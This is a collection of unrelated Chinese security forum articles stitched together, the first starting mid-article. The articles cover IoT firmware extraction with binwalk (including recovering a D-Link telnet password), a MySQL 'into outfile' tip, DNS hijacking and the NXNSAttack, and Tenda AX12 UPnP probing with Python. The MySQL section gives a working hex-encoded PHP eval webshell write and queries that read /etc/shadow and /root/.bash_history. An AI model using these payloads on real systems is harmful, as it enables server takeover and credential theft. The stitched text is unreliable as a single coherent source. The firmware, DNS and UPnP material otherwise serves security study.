如果要想确定文件系统所在的位置的话，我们可以使用Binwalk。我们稍后将在本文中详细讨论Binwalk的各种法，但现在，我们只是用它来找出文件系统所在的确切地址。
为了在我们的系统上安装jffs2映像，我们要做的第一件事就是在RAM中提供一个MTD分区，具体大小由total_size指定。
modprobe mtdram total_size=25247744
接下来，我们将创建一个块设备，通过它我们就可以访问相应分区了，然后加载对jffs2文件系统的支持，因为它不是默认启用的。
modprobe mtdblock
modprobe jffs2
接下来的要做的是从上面的位置复制文件系统，并使用dd命令将其输出到一个新文件中。
一旦完成上面的工作，我们就可以把将文件系统从所建的文件（filesys）中复制到mtdblock0了。
之后，我们可以使用mount挂载文件系统，以便我们可以访问它。我们可以通过mount的帮助信息来了解如何挂载我们的映像。
由于我们知道该文件系统的类型是jffs2，所以我们可以直接通过手册页中相应的提示来使用mount命令。
因此，我们只需在当前位置创建一个名为jffs2的新文件夹，然后将mtdblock挂载到该目录即可。
从上图可以看到，这样我们就可以访问整个文件系统了。这只是一个例子，旨在说明如何访问固件的文件系统。稍后，我们将看到其他更简单的技术，同样可以达到该目的。
**压缩和加密：**
上面介绍了固件的文件系统，接下来开始讲解与固件相关的其他方面的知识：即压缩和加密。嵌入式设备中的文件系统通常都会进行压缩处理，以节省空间。
IoT设备文件系统中最常见的压缩技术是LZMA、GZIP、Zlib、Zip和ARJ等等。
下面，让我们通过实践来掌握这些知识。我们知道，许多LZMA压缩型Squashfs文件系统供应商都会使用幻数shsq。
因此，我们可以在固件上运行hexdump，然后使用grep命令来获取固件的起始地址。
正如上面所看到的那样，我们在0x000e0080处发现了shsq魔法数字。现在，我们已经知道了文件系统的起始地址，所以可以使用dd来转储其内容了。
我们知道，它的文件类型是squashfs，所以我们可以运行unsquashfs，以便进入文件系统。其中，-l表示列出文件系统的内容。
如果运行unsquashfs -h，它将显示该工具unsquashfs已经支持lzma压缩。
所以，我们可以直接从filesystem.bin中提取该文件系统。
这会创建一个名为squashfs-root的文件夹，其中含有已提取的整个文件系统。这样，我们就可以通过分析单个二进制文件或查看配置文件来识别漏洞了。
**引导加载程序：**
引导加载程序是用来帮助加载引导整个系统的组件，任何设备都含有该组件。它会帮助完成整个系统的相关设置，然后加载用于加载整个文件系统的内核。
最常见的引导加载程序包括Das uBoot、Redboot、CFE等等。我们将在本系列的后续文章中继续介绍引导加载程序，但现在，我们点到为止。
有关启动加载器的更多信息，请访问：<http://www.informit.com/articles/article.aspx?p=1647051>。
一旦我们了解了固件，就能够：
为了能够进行固件分析，首先要了解如何获取固件。通常情况下，有两种方法可以获得特定设备的固件：
从制造商的网站获取固件：许多物联网设备制造商的网站都支持固件下载功能，以便用户可以下载并手动更新设备。
通过硬件利用技术从设备转储固件：为此，可以通过使用串行通信（例如UART或JTAG）或使用SPI
Flash来实现固件转储。我们将在后面的文章中详细讨论这种技术。
一旦取得了固件，就可以进一步施展我们的分析技术了。我们将使用Damn Vulnerable Router Firmware作为练习之用，下载地址
[https://github.com/praetorian-inc/DVRF](https://github.com/praetorian-inc/DVRF%E3%80%82)
在得到了DVRF.bin（固件）之后，我们可以进行十六进制转储，看看能否识别出它所属的设备，以及是否能够找到一些额外的信息。
从十六进制转储可以看出，虽然大多数信息都没有意义，但是有两个字符串非常引人注目——
u2nd和hdr0。只要通过google搜索一下，我们就会知道，这是一个Linksys的相关产品。
甚至在这种情况下，我们这里得到的固件信息，对于漏洞利用开发来说，仍然远远不够。因此，在完成了十六进制转储之后，接下来，我们还需在其上运行binwalk。
Binwalk是由Craig Heffner（@
devttys0）创建的固件逆向工程工具，用于帮助渗透测试人员和安全研究人员分析理解固件。该工具能够支持各种文件系统的压缩和加密技术，并且已经成为固件逆向工程工具方面的一个标杆。binwalk的安装非常简单，只要按照该项目的Github页面上的指示进行操作即可，该页面的具体地址为<https://github.com/devttys0/binwalk/blob/master/INSTALL.md>。
在系统上安装好binwalk之后，下一步就是使用binwalk来分析固件并了解其中存在的不同部分了。
当我们在DVRF.bin上运行binwalk时，将看到如下所示的内容。
从上面我们可以看到，头部从0x20处开始，一直延续到到0x3c处，然后是文件名为piggy的gzip压缩数据，最后是从0x192728处开始的squashfs文件系统。
所以，我们开始使用binwalk来提取piggy和squashfs文件系统。当然，你也可以使用dd来提取这两个文件，但是使用binwalk的话，事情会变得更加轻松。
在DVRF.bin上运行binwalk进行提取操作之后，我们就得到了文件系统的内容和存储在固件内的附加数据。
binwalk -e DVRF_0.3.bin
通过观察提取到的文件系统不难发现，这是一个基于Linux的操作系统。在对固件进行逆向工程的时候，Linux是最为常见的操作系统，当然还会遇到其他诸如VxWorks和eCOS之类的操作系统。
一旦我们提取了固件，下一步就是查看固件中存在的各种二进制文件并通过分析它们来识别安全漏洞。为了先摘取低垂的苹果，一个简单的方法是检查常见的二进制文件的版本，如busybox，并查看是否可以找到与这个版本相关的漏洞。
现在，让我们来考察Dlink设备的固件。 为此，我们只需从相应网站下载固件，并使用binwalk从固件中提取文件系统。
binwalk -e Dlink.bin
让我们尝试在此固件中搜索机密的凭证。Telnet似乎是一个很好的起点，因为它可以提供访问运行此固件的设备的访问权限。
如果我们对telnet执行grep，我们可以看到，有一个位于/etc/scripts/misc/telnetd.sh的文件。
如果打开这个文件，我们会看到如下所示的内容。
我们可以从文件中看到，它确实包含以Alphanetworks为用户名登录到telnet会话的代码，并且密码是由$
image_sign指定的文件的内容。如果我们仔细观察就会发现，就在脚本的第二行，$ image_sign变量就是保存文件/ etc / config /
image_sign的内容的。
所以，如果我们只要对/ etc / config / image_sign文件执行cat操作，我们就能得到telnet的登录密码。下面是一样的。
因此，我们能够通过Dlink路由器的固件逆向分析其文件系统，进而从中获取telnet登录凭据。
**自动化工具**
实际上，还有许多自动化的工具可用于固件的静态和动态分析。其中一个流行的自动化工具是由Craig
Smith开发的Firmwalker，它通过考察相关的字符串来对固件执行静态分析。
为了运行Firmwalker，需要克隆github repo并让firmwalker.sh指向提取到的固件文件系统。
git clone https://github.com/craigz28/firmwalker.git
cd firmwalker
一旦完成上述操作，只需在binwalk上提取的文件系统上运行firmwalker.sh即可。就本文来说，我们将在Damn Vulnerable Router
Firmware的文件系统上运行firmwalker.sh。
总体来说，firmwalker是一个非常棒的固件分析入手工具，能够帮您找到感兴趣的文件，以便进行更深入的分析。
当然，还有其他的自动化工具，它们同样可以用于固件的静态和动态分析。只是由于它们的安装更为复杂，需要更深入的说明，所以我们将它们安排在后面的文章中进行专门的介绍。
使用反汇编工具分析二进制文件
在我们提取了固件之后，最重要的漏洞利用技术之一，就是通过反汇编工具来分析我们感兴趣的二进制文件。一旦你提取了Damn Vulnerable Router
Firmware，你会发现在squashfs-root / pwnables / Intro /下面有一个非常让人感兴趣的二进制软件。
你可以通过一些工具，如objdump、IDA甚至在线反汇编工具对这些感兴趣的文件进行反汇编处理。例如，如果我们利用onlinedisassembler.com对位于pwnables
/ Intro / stack_bof1的二进制文件进行反汇编，我们就能看到该二进制文件中的各种函数以及每个函数的反汇编代码。
下面的截图显示了onlinedisassembler.com对于stack_bof1的反汇编结果。
此外，就像任何其他高级反汇编器一样，onlinedisassembler也具有显示整个反汇编的图形布局的功能，具体如下所示。
本文中，我们介绍了物联网设备固件分析的入门知识。在下一篇文章中，我们将介绍如何仿真固件，以及如何实时调试固件内的二进制文件。
**参考文献**
Binwalk installation guide
BH USA 2013: Firmware Reverse Engineering by Jonas Zaddach and Andrei Costin
Reversing Auerswald firmware: <https://cweiske.de/tagebuch/auerswald-firmware.htm>
Embedded system
bootloader:<https://en.wikibooks.org/wiki/Embedded_Systems/Bootloaders_and_Bootsectors>
**传送门**
* * *
[**【技术分享】打造基于Zigbee的IoT漏洞安全试验环境**
****](http://bobao.360.cn/learning/detail/3229.html) | 社区文章 |
在渗透测试的时候，我们使用into outfile快速写入一句话后门时经常会出现写入不了的情况：
update mysql.user set file_priv='Y' where user='root';
flush privileges;
select concat("'",0x3C3F70687020406576616C28245F504F53545B2778275D293B3F3E)
into outfile '../webroot/xxxxxx.php';
update mysql.user set file_priv='N' where user='root';
flush privileges;
不能写入文件原因，可能是MYSQL新特性secure_file_priv对读写文件的影响：
//查看配置项：
SHOW VARIABLES LIKE "secure_file_priv"
//如果查到了secure_file_priv的值，再执行下列命令就可以写入文件了：
select 123 into outfile '/var/lib/mysql-files/test1.txt '
//限制mysqld 不允许导入 | 导出:
mysqld --secure_file_prive=null
//限制mysqld 的导入 | 导出 只能发生在/tmp/目录下:
mysqld --secure_file_priv=/tmp/
//不对mysqld 的导入 | 导出做限制:
cat /etc/my.cnf
[mysqld]
secure_file_priv=
//如果没有权限，mysql还有个低权限读文件漏洞，/etc/shadow /root/.bash_history都可以读出来，下面语句测试成功 for
MYSQL 5.5.53:
drop table mysql.m1
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE '/root/.bash_history' INTO TABLE mysql.m1 fields
terminated by ''
select * from mysql.m1 | 社区文章 |
# 一、基础概念
## 1.1 概念
域名系统（Domain Name System，DNS）是互联网的一项基础服务，默认端口53，可以实现域名和IP地址的相互映射，其数据库分散在全球多地。
## 1.2 协议
DNS默认使用UDP协议通信，但是由于UDP的报文长度限制为512字节，当DNS请求超过此长度时会自动使用TCP协议发起请求。
## 1.3 域名层次
DNS（或者说域名）是划分层次的，它有根域（Root Doamin）、顶级域（Top Level Domain，TLD）、二级域（Second Level
Domain，SLD）等级别，如下图以www.baidu.com介绍其层级，其中根域是一个点，只是默认情况下都不再输入了。通常我们说全球有13台根域名服务器，实际上是有13个根域名服务器地址，服务器数量有1000+，采用任播技术实现负载均衡。
比如访问：<https://www.qq.com>.
，但是有些域名后面加点是不行的，应该是服务端做了限制，比如<https://www.baidu.com>.
## 1.4 记录类型
DNS 中，常见的资源记录类型有：
* NS （Name Server）：指定解析域名或子域名的 DNS 服务器
* MX（Mail Exchanger）：指定接收信息的邮件服务器
* A（Address）：指定域名对应的 IPv4 地址记录
* AAAA：指定域名对应的 IPv6 地址记录
* CNAME（Canonical Name）：一个域名映射到另一个域名或 CNAME 记录或映射到一个 A记录
# 1.5 解析过程
域名解析是有顺序的，一般首先通过host 文件的静态解析，然后通过DNS 服务器的动态解析，静态解析的优先级高于动态解析。
解析的过程分为以下几步：
1. 在浏览器输入www.baidu.com 域名，操作系统会检查主机Host文件，如果有则直接使用此解析结果
2. 如果Host 文件没有这个DNS 解析记录，则会查找本地的DNS 缓存，如果有则直接使用此解析结果
3. 如果本地缓存没有这个域名的解析记录，则会查找本地DNS服务器，如果有则直接使用此解析结果
4. 如果本地DNS服务器没有这个域名的解析记录，但在缓存中发现了映射关系，则直接使用此解析结果，但此解析不具有权威性
5. 如果本地机器和DNS服务器都没有此解析记录，本地DNS就会把请求发送至根域服务器，根域服务器会根据顶级域类型（.com）返回一个可以解析此类型的顶级域服务器地址；本地DNS服务器收到此地址后会向此顶级域地址发起请求，若顶级域服务器自己无法解析会返回一个二级域（baidu.com）服务器地址，本地DNS服务器会再次尝试请求，如此重复查询，直到找到解析结果或返回无法解析的错误信息
6. 最后浏览器会根据返回的信息向www.baidu.com 的IP发起请求
注：本地DNS服务器也可以说成递归解析器（Resolver），后面的根域、顶级域、二级域DNS服务器也可以统一说成权威域名服务器（Authoritative
Name Server）。
# 二、DNS 劫持漏洞
## 2.1 漏洞原理
DNS劫持漏洞通常是由废弃的DNS记录造成的，废弃DNS
记录是指一个DNS指向的资源已经被释放掉了，但解析仍然存在，若其指向的资源可被第三方获取，则存在劫持风险。常见的几种解析记录类型都存在此风险，比如A、CNAME、MX、NS等，但其实有些场景很难利用，比如A记录的劫持需要能够获得目标站点的IP，这个是非常困难的。
比较常见的劫持是CNAME 记录劫持或 NS记录劫持，以NS记录劫持为例，在2020年CCS顶会的一篇文章《Zombie Awakening:
Stealthy Hijacking of Active Domains through DNS Hosting
Referral》中提出了一种僵尸激活攻击（Zombie Awakening），其利用条件有两点：
* 域名的二级域指向了一个DNS 托管服务（一个第三方的DNS解析服务，很多云厂商都会提供这个服务）
* DNS 托管服务商未验证域名的归属（大多数厂商只会验证在自家注册的域名，实际也很难验证全部的域名）
漏洞场景如上图（其过程忽略了根域）所示，其过程是一个请求example.com 域名的DNS 解析过程，在ns.example.com
的二级域DNS服务器中存储了example.com 的NS记录和A记录。其中如下这条NS记录
example.com NS ns.provider.com
虽然仍然存在，但ns.provider.com 的服务提供商已经删除了此项配置（比如用户已经不在使用provider.com 的服务了）。此时，上面那条NS
记录就可以称之为僵尸记录或失效记录。
漏洞利用过程就是如上图所示，分为以下几个步骤：
攻击者在第三方DNS 托管服务商（provider.com）添加此域名：example.com（1），并配置两个解析记录（2）
example.com NS ns.provider.com
example.com A IPattacker
然后刻意的发起大量NS解析请求（3），当本地DNS服务器没有此记录时会向顶级域服务器发起请求（4），顶级域服务器返回一个NS记录（5）
example.com NS ns.example.com
本地DNS服务器根据NS
记录进一步向二级域（ns.example.com）发起请求（6），此时本地DNS服务器会收到一个A记录和两条NS记录并缓存下来（7），在这个例子中此前从顶级域获得的NS记录会被从二级域获得的相同的记录替换掉，因为二级域比顶级域具有更高的优先级（8）。
然后攻击者向本地DNS服务器发起大量A记录解析请求（9），此时服务器中缓存了两个NS记录，一个真实的和一个废弃的，如果是随机选择的（10），则会有50%的机会返回攻击者的IP，那么那条废弃的解析路径就相当于被激活了（11）。而且这条A记录还会被缓存在递归解析服务器中，直到过期。攻击者可以尝试访问这个域名来判断攻击是否有效（13），若能够访问恶意IP则说明成功（14）。
## 2.2 漏洞测试
使用我自己的万网域名和某第三方的DNS托管服务，在原有万网DNS的基础上添加第三方的DNS地址。
NS记录成功解析后如下图所示
使用第三方DNS也可以返回正确的A记录
然后在第三方DNS服务商删除此域名，可以看到已无法获取A记录
然后使用另外一个第三方DNS服务商的账户添加域名并设置恶意的解析（A记录为127.0.0.1），然后使用dig命令指定外部DNS
服务器进行测试（本地的应该有了正确IP地址的缓存，可能无法复现）。如下图所示，使用不同的DNS 服务器，有几率返回不同的结果，其中就有恶意A记录。
## 2.3 漏洞修复
此类漏洞关键在于域名管理员要合理配置的域名解析记录，不再使用的要及时下掉！
# 三、DNS 拒绝服务
## 3.1 漏洞原理
DNS 拒绝服务比较常见的可能是利用DNS Flood，做流量放大攻击其他服务器，但本质不是DNS的漏洞。这里介绍一种最新的针对DNS
的拒绝服务攻击–NXNSAttack，是发表在2020年安全顶会USENIX上最新的一篇研究成果《NXNSAttack: Recursive DNS
Inefficiencies and Vulnerabilities》。该文章提出一种新型的DNS 放大攻击，利用DNS
对NS记录完全解析的特性，可以实现多倍的流量放大，对DNS 服务器造成拒绝服务。
在1.5 节或者2.1
节我们可以看到一个完整的理论上的DNS解析过程，但实际上一个递归解析器与DNS服务器（顶级域、二级域等）的通信要远多于上图所示次数。一个真实DNS请求的如下图所示，当递归解析器向顶级域发起请求时（1）会得到一个NS
记录列表（2），然后会向每个NS记录发起请求（3-6），每个NS地址会返回对应的A记录和NS记录（7-10），此时递归解析器已经获取到了二级域的NS服务器IP地址，但同时也收到对应的NS记录，由于DNS解析的特性（会对NS记录进行完全的解析，即只要收到NS的响应就会发起NS请求）递归解析器会发起一次A记录请求，向二级域DNS问询NS地址的IP地址（11-14，16-19），最后询问主域名的IP（15）获得地址（20）。
利用这个特性，攻击者就可以实现DNS流量放大，达到拒绝服务的效果。漏洞利用需要具备两个条件：
* 可以发起DNS请求
* 拥有大量二级域NS记录
发起DNS
请求就不说了，二级域NS记录通过购买域名并自定义配置，很多域名服务商可以购买特别廉价的域名，使用较低的成本就可以获得大量的NS记录。如下图所示，当满足了上述两个条件，攻击者可以发起一个
sd1.attacker.com 的DNS 请求，请求会到达attacker.com
的威域DNS服务器并返回提前设置好的大量NS记录，这些NS记录指向的就是受害者二级域，此时攻击者的本地递归解析器会向victimc.om
的DNS服务器发起大量NS解析请求，其数量时NS记录总量的两倍，因为每个记录会发起IPv4和IPv6两次请求。
在这种攻击模式下递归解析器和目标二级域DNS服务器都承受了大量的流量（与请求的Client数量和NS记录数量有关），是双向的攻击。
## 3.2 漏洞修复
这类型漏洞需要修复DNS解析程序的逻辑，不再完全解析NS记录，而是设置上限K，最多解析K个。
# 四、DNSSEC
DNS安全扩展（Domain Name System Security
Extensions，DNSSEC），是由IETF提供的一系列DNS安全认证的机制。它采用基于公共密钥加密的数字签名，从而增强 DNS
验证强度。DNSSEC 并非对 DNS 查询和响应本身进行加密签名，而是由数据所有者对 DNS 数据自身进行签名。
每一个 DNS 区均包含一个公私秘钥对，DNS 区所有者使用该区域的私钥对区域内的 DNS
数据进行签名，为这些数据生成数字签名。该区域的公钥则在区域内公开发布，供全体用户检索。凡在区域内查找数据的递归解析器，还必需检索区域公钥，从而使用公钥验证
DNS 数据的真实性。解析器确认检索到的 DNS 数据的数字签名是否有效。如果有效，证明 DNS 数据合法，则将 DNS
数据返回给用户。如果签名未通过验证，解析器会假设发生攻击，丢弃数据并向用户返回错误。因此，DNSSEC 相当于在 DNS 协议中新增了两项重要功能：
* 数据来源验证 - 解析器可以通过加密的方式验证收到的数据是否确实来自其认定的数据传送区域。
* 数据完整性保护 - 解析器可以确信，自区域所有者使用区域私钥初次进行数据签名以来，数据在传输过程中并未遭到修改。
很多域名服务商已经提供了DNSSEC的配置能力。
# 五、参考文献
1、Zombie Awakening- Stealthy Hijacking of Active Domains through DNS Hosting
Referral.pdf
2、NXNSAttack- Recursive DNS Inefficiencies and Vulnerabilities.pdf | 社区文章 |
# Tenda AX12路由器设备分析（二）之UPnP协议
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
在智能设备和家庭网络路由设备中，最常见的协议是UPnP协议，因此本篇文章将以最新的Tenda
AX12路由器设备为支点，对UPnP协议由浅入深的讲解和如何在平时对UPnP服务进行分析和测试
## 0x02 UPnP 介绍
UPnP 是通用即插即用（Universal Plug and
Play）服务的缩写，它是发现网络上各种设备提供的服务并于之交互的一种标准，现在越来越多的智能服务设备和家用网络的发展，为了使不同的智能设备之间进行网络互联互通，因此UPnP目前是家庭网络设备必须支持的特性之一，并且使用UPnP协议并不需要设备驱动程序，任何设备一旦连接上网络，所有在网络上的设备马上就能知道新加入的设备信息，以及新设备支持的服务和行为，这些设备之间能互相通信，也能直接使用和控制支持UPnP协议的设备，不需要人工设置。
### 1）UPnP 协议栈和工作流程
UPnP 使用各种不同的协议来实现其功能：
* SSDP: 简单服务发现协议，用于发现本地网络上的UPnP设备和在网络上单播他们可用的UPnP服务。
* SCPD: 服务控制点定义，用于定义UPnP设备提供的服务需要的Action。
* SOAP: 简单对象访问协议，用于实际的调用操作。
* GENA: 通用事件通知架构，用于定义控制点向UPnP设备发送订阅消息和接受信息。
### 2）SSDP协议
当一个设备第一次接入局域网中时，设备会通过DHCP协议自动获取分配的IP，这是UPNP服务的第一步，获取IP。
按照协议的规定，当一个UPnP客户端接入网络时，UPnP客户端会自动通过SSDP协议向一个特定的多播地址239.255.255.250:1900使用M-SEARCH HTTP方法发送”ssdp:discover”的消息，其中M-SEARCH方法特定于UPnP协议，多播IP地址239.255.255.250时一个特殊的广播IP地址，不像普通的IP那样会绑定到任何特定的服务器，端口1900是UPnP服务器将侦听广播的端口。
对Tenda AX12 设备进行端口扫描，可以知道设备对外开放了那些端口，其中5000是Tenda设备的UPnP 协议开放的提供的服务端口
> upnp的标准端口并不多，唯一的标准端口是UDP端口1900，用于接受通知；还有一些常用的端口 5431（Broadcom）、49152（Linux
> IGD）和端口80、tenda 的设备是5000 和5500端口、edimax 是80端口、NetGear 部分设备是5000
当有设备监听多播地址上有UPnP客户端发送的消息的时候，设备会分析客户端请求的服务，如果自身提供了客户端请求的服务，设备则会通过单播的方式直接将带有Loaction的服务来响应客户端的请求。
下面是UPnP客户端在Tenda AX12路由器中，利用SSDP协议在广播模式下使用HTTP over UDP(称为HTTPU)。Tenda
AX12设备通过59452端口响应。
('192.168.0.101', 1900)
M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 1
ST: ssdp:all
USER-AGENT: Google Chrome/87.0.4280.88 Windows
('192.168.0.1', 59452)
NOTIFY * HTTP/1.1
HOST: 239.255.255.250:1900
CACHE-CONTROL: max-age=60
LOCATION: http://192.168.0.1:5000/rootDesc.xml
SERVER: Tenda/SNAPSHOT UPnP/1.1 MiniUPnPd/1.9
NT: urn:schemas-upnp-org:service:Layer3Forwarding:1
USN: uuid:1a0c85bc-f784-4e51-a590-7401b012a23f::urn:schemas-upnp-org:service:Layer3Forwarding:1
NTS: ssdp:alive
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: 946656165
BOOTID.UPNP.ORG: 946656165
CONFIGID.UPNP.ORG: 1337
这里介绍一下发送和返回信息的标头的定义：
HOST: 多播地址和端口
MAN: 设置查询的类型，例如:ssdp:discover
MX: 设置设备响应最长等待时间。
服务名称USN: 唯一标识一种服务实例
ST: 设置服务查询的目标，它可以是下面的类型：
* ssdp:all 搜索所有设备和服务
* upnp:rootdevice 仅搜索网络中的根设备
* uuid:device-UUID 查询UUID标识的设备
* urn:schemas-upnp-org:device:device-Type:version 查询device-Type字段指定的设备类型，设备类型和版本由UPNP组织定义。
* **urn:schemas-upnp-org:service:service-Type:version** 查询service-Type字段指定的服务类型，服务类型和版本由UPNP组织定义
位置信息LOCATION: 发现结果和存在通知包含一个或多个URI,客户端利用位置信息可以找到它需要的服务。
期限信息CACHE-CONTROL:
客户端在自己的cache中保存此服务多长时间。如果期限过了，关于此服务的信息会被从cache中拿掉。当客户端接收到的发现结果或存在通知包含的USN和cache中的某条匹配，则更新。
SERVER: 包含操作系统名、版本、产品和产品版本信息。
正常情况下，这些数据包是设备会自动发送和处理的。使用抓包工具(wireshark)监听是可以看到这些数据包的。
这里我将构造一段代码来说明如何使用python发送M-SEARCH来发现局域网中的存在的UPnP设备和服务。
import socket
import re
ANY = "0.0.0.0"
DES_IP = "239.255.255.250"
PORT = 1900
xml_str = b'M-SEARCH * HTTP/1.1\r\n' \
+ b'HOST: 239.255.255.250:1900\r\n' \
+ b'MAN: "ssdp:discover"\r\n' \
+ b'MX: 3\r\n' \
+ b'ST: ssdp:all\r\n' \
+ b'USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\n\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((ANY, PORT))
s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
s.setsockopt(
socket.IPPROTO_IP,
socket.IP_ADD_MEMBERSHIP,
socket.inet_aton(DES_IP) + socket.inet_aton(ANY)
)
s.setblocking(False)
s.sendto(xml_str, (DES_IP, PORT))
while True:
try:
data, address = s.recvfrom(2048)
except Exception as e:
pass
else:
print(address)
print(data)
执行代码之后，Tenda AX12 中的UPnP服务监听请求之后，Tenda AX12 将会使用UDP单播响应UPnP
请求，来说明设备或者程序提供那些UPnP的服务以及配置文件，对于每个服务和设备类型，则发送一条消息，其中标头中的LOCALTION值，会有Tenda
AX12 路由器提供的服务和提供服务的参数以及URI。下图是Tenda AX12的UPnP协议输出的信息其中的一条，Tenda AX12在广播信息中MX:2
的描述内响应了M-SEARCH查询，该设备是Server的值确定设备是Tenda设备，以及设备使用的UPnP
的组件名称为MiniUPnPd，还有一个LOCATION标头，它的值是”<http://192.168.0.1:5000/rootDesc.xml>“
### 3）SCPD
在介绍SCPD之前，先了解设备提供的UPnP 服务描述信息，对Tenda
AX12设备的UPnP提供了那些服务，目前我们是不知道的，但是我们获取到了设备的响应信息，其中可以利用返回的LOCATION信息来获取Tenda
AX12设备UPnP的各种服务的定义以及虚拟设备的定义。
在浏览器中访问”[http://192.168.0.1:5000/rootDesc.xml”，你会获取到目标设备的UPnP](http://192.168.0.1:5000/rootDesc.xml%22%EF%BC%8C%E4%BD%A0%E4%BC%9A%E8%8E%B7%E5%8F%96%E5%88%B0%E7%9B%AE%E6%A0%87%E8%AE%BE%E5%A4%87%E7%9A%84UPnP)
信息。
rootDesc.xml 文件内容很多，这里节选部分内容进行介绍
首先是设备属性定义，不同厂商对这一块的定义和描述都是不同的。但常有的信息一般有设备类型、friendlyName、厂商名称、厂商的官网、型号描述、序列号等信息。
<deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:1</deviceType>
<friendlyName>Tenda router</friendlyName>
<manufacturer>Tenda</manufacturer>
<manufacturerURL>http://www.tenda.com.cn/</manufacturerURL>
<modelDescription>Tenda router</modelDescription>
<modelName>Tenda router</modelName>
<modelNumber>1</modelNumber>
<modelURL>http://www.tenda.com.cn/</modelURL>
<serialNumber>00000000</serialNumber>
<UDN>uuid:1a0c85bc-f784-4e51-a590-7401b012a23f</UDN>
接下来我们来分析服务，设备支持的服务列表中每个服务都有<serviceType>
(服务类型)、<controlURL>（控制URL）、<eventSubURL>（事件订阅URL）、<SCPDURL> （SCPD URL）标签
<device>
<deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:1</deviceType>
<friendlyName>WANConnectionDevice</friendlyName>
<manufacturer>MiniUPnP</manufacturer>
<manufacturerURL>http://miniupnp.free.fr/</manufacturerURL>
<modelDescription>MiniUPnP daemon</modelDescription>
<modelName>MiniUPnPd</modelName>
<modelNumber>20210823</modelNumber>
<modelURL>http://miniupnp.free.fr/</modelURL>
<serialNumber>00000000</serialNumber>
<UDN>uuid:1a0c85bc-f784-4e51-a590-7401b012a231</UDN>
<UPC>000000000000</UPC>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
<serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId>
<controlURL>/ctl/IPConn</controlURL>
<eventSubURL>/evt/IPConn</eventSubURL>
<SCPDURL>/WANIPCn.xml</SCPDURL>
</service>
</serviceList>
...
后面会讲述以上的服务中的各种标签如何在实际中使用，先讲述对服务类型urn:schemas-upnp-org:service:WANIPConnection:1定义的服务Action和对应参数的XML文件。这里需要用到\<SCPDURL> 的值
访问Tenda AX12 路由器的服务urn:schemas-upnp-org:service:WANIPConnection:1 可以直接在浏览器中打开
<http://192.168.0.1:5000/WANIPCn.xml> 。
XML文件的内容也很多，因此节选了部分来介绍，在action列表中有许多的action定义，这里的action是获取路由器设备外部的IP ，也就是WAN
的IP地址，对action定义一般是
<name>(action名称)、<argument><name>（action参数名）、<direction>（参数输入输出方向）、<relatedStateVariable>
（变量名）。
在<serviceStateTable>(变量列表)中有对action参数名对应变量名的定义<dataType>数据类型。
...
<action>
<name>GetExternalIPAddress</name>
<argumentList>
<argument>
<name>NewExternalIPAddress</name>
<direction>out</direction>
<relatedStateVariable>ExternalIPAddress</relatedStateVariable>
</argument>
</argumentList>
</action>
...
<serviceStateTable>
...
<stateVariable sendEvents="yes">
<name>ExternalIPAddress</name>
<dataType>string</dataType>
</stateVariable>
...
### 4）SOAP 调用
根据SCPD.xml 文件内的信息，可简单易懂的是识别出设备内可以通过UPnP
获取到的各种信息，以上述对获取设备外部IP的action定义为例，接下来进行SOAP调用。
在进行调用之前，介绍一下什么是SOAP。
> SOAP 是一种简单的基于XML的协议，它底层通过HTTP来交换信息。SOAP的优点是可以传递结构化的数据。
>
> 客户端生成的SOAP请求会被嵌入在一个HTTP POST请求中，发送到Web服务器。Web 服服务器再把这些请求转发给Web service
> 请求处理器，它解析收到的SOAP 请求，调用Web service, 处理后再生成相应的额SOAP 应答。Web
> 服务器的到SOAP应答后，会再通过HTTP 应答的方式把它送回到客户端。
构建SOAP请求，需要包含下列元素：
* 必须的Envelope元素，可把此XML文档标识为一条SOAP消息。
* 可选的Header元素，包含头部信息
* 必须的Body元素，包含所有的调用和响应信息。
* 可选的Fault元素，提供有关处理此消息所发生错误的信息
基本结构为
<?xml version="1.0"?>
<soap:Envelope
xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
<soap:Header>
...
</soap:Header>
<soap:Body>
...
<soap:Fault>
...
</soap:Fault>
</soap:Body>
</soap:Envelope>
使用python 来构造如下代码来获取Tenda 设备的外部IP，在代码中的注释都讲述了构造SOAP 调用需要的值意思。
import requests
# SOAP request URL
url = "http://192.168.0.1:5000/ctl/IPConn"
# 值来自于 rootDesc.xml文件中的 <serviceType>
service_type="urn:schemas-upnp-org:service:WANIPConnection:1"
# 值来自于SCPD XML中的<action>GetExternalIPAddress</action>
action="GetExternalIPAddress"
# structured XML
payload = """<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<u:%s xmlns:u=\"%s\">
</u:%s>
</soap:Body>
</soap:Envelope>"""%(action,service_type,action)
#soap_action="urn:schemas-wifialliance-org:service:WFAWLANConfig:1#GetDeviceInfo"
soap_action="urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress"
# headers
headers = {
'Content-Type': 'text/xml; charset=utf-8',
'Host':'192.168.0.1:5000',
'Content-Length':'355',
'SOAPAction':'"%s"'%(soap_action)
}
# POST request
response = requests.request("POST", url, headers=headers, data=payload)
# prints the response
print(response.text)
print(response)
执行过上述代码之后，Tenda AX12 设备UPnP服务器会返回响应，其中有我们要获取的设备的外部IP.
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:GetExternalIPAddressResponse xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewExternalIPAddress>192.168.1.4</NewExternalIPAddress></u:GetExternalIPAddressResponse></s:Body></s:Envelope>
